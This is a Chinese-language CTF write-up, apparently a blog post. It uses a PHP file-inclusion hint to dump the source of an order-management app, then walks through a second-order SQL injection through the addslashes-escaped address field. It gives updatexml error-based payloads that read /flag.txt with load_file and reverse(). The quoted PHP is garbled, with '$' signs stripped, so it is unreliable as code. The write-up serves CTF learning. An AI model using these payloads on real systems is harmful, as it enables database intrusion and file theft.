首先题目提示了读取file
伪协议读一下源码

//index.php
<?php

ini_set('open_basedir', '/var/www/html/');

// file =_GET["file"];
file = (isset(_GET['file']) ? _GET['file'] : null);
if (isset(file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|/i",file)) {
        echo('no way!');
        exit;
    }
    @include(file);z
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" ></button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
//config.php
<?php
//change.php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);db = new mysqli(DATABASE['host'],DATABASE['username'],DATABASE['password'],DATABASE['dbname']);
<?php

require_once "config.php";

if(!empty(_POST["user_name"]) && !empty(_POST["address"]) && !empty(_POST["phone"]))
{msg = '';
    pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';user_name = _POST["user_name"];address = addslashes(_POST["address"]);phone = _POST["phone"];
    if (preg_match(pattern,user_name) || preg_match(pattern,phone)){msg = 'no sql inject!';
    }else{
        sql = "select * from `user` where `user_name`='{user_name}' and `phone`='{phone}'";fetch = db->query(sql);
    }

    if (isset(fetch) &&fetch->num_rows>0){
        row =fetch->fetch_assoc();
        sql = "update `user` set `address`='".address."', `old_address`='".row['address']."' where `user_id`=".row['user_id'];
        result =db->query(sql);
        if(!result) {
            echo 'error';
            print_r(db->error);
            exit;
        }msg = "订单修改成功";
    } else {
        msg = "未找到订单!";
    }
}else {msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>修改收货地址</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                    </p>
                </form>
                <?php global msg; echo '<h2 class="mb">'.msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<?php
//confirm.php
require_once "config.php";
//var_dump(_POST);

if(!empty(_POST["user_name"]) && !empty(_POST["address"]) && !empty(_POST["phone"]))
{
    msg = '';pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    user_name =_POST["user_name"];
    address =_POST["address"];
    phone =_POST["phone"];
    if (preg_match(pattern,user_name) || preg_match(pattern,phone)){
        msg = 'no sql inject!';
    }else{sql = "select * from `user` where `user_name`='{user_name}' and `phone`='{phone}'";
        fetch =db->query(sql);
    }

    if(fetch->num_rows>0) {
        msg =user_name."已提交订单";
    }else{
        sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";re = db->prepare(sql);
        re->bind_param("sss",user_name, address,phone);
        re =re->execute();
        if(!re) {
            echo 'error';
            print_r(db->error);
            exit;
        }
        msg = "订单提交成功";
    }
} else {msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <img class="logo" src="./assets/img/logo-zh.png">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <?php global msg; echo '<h2 class="mb">'.msg.'</h2>';?>
                <a href="./index.php">
                <button class='btn btn-lg  btn-sub btn-white'>返回</button>
                </a>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
        </div>
    </div>
</div>

就这些源码 confirm.php中第一次插入数据时使用了PDO
不考虑注入 直接跳过
而change.php中对username和phone做了严格过滤
对address却只进行了addslashes转义处理
而转义符号是不会被插入到数据库中的
存在二次注入
构造一个报错注入
' 1' where user_name=updatexml(1,concat(0x7e,(select load_file('/flag.txt')),0x7e),1)#
先输入正常数据 在change时候输入payload 然后再change一次触发注入
直接读取文件 由于输出有字符限制 再倒序输出 然后拼接一下
1' where user_name=updatexml(1,concat(0x7e,(select reverse(load_file('/flag.txt'))),0x7e),1)#

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注